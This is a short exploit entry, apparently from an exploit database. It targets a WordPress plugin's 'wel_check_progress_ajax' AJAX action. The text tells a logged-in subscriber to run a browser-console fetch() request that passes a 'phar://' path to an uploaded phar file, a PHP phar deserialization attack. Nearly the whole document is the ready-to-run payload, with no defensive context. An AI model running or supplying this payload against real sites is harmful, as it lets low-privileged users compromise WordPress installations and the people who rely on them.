## https://sploitus.com/exploit?id=WPEX-ID:7A4B790C-49AE-46BC-9544-E188DEAE243F
Run the below command in the developer console of the web browser while being on the blog as subscriber user
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": 'action=wel_check_progress_ajax&progressfile=phar://path-to-uploaded-phar.phar/log.txt',
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));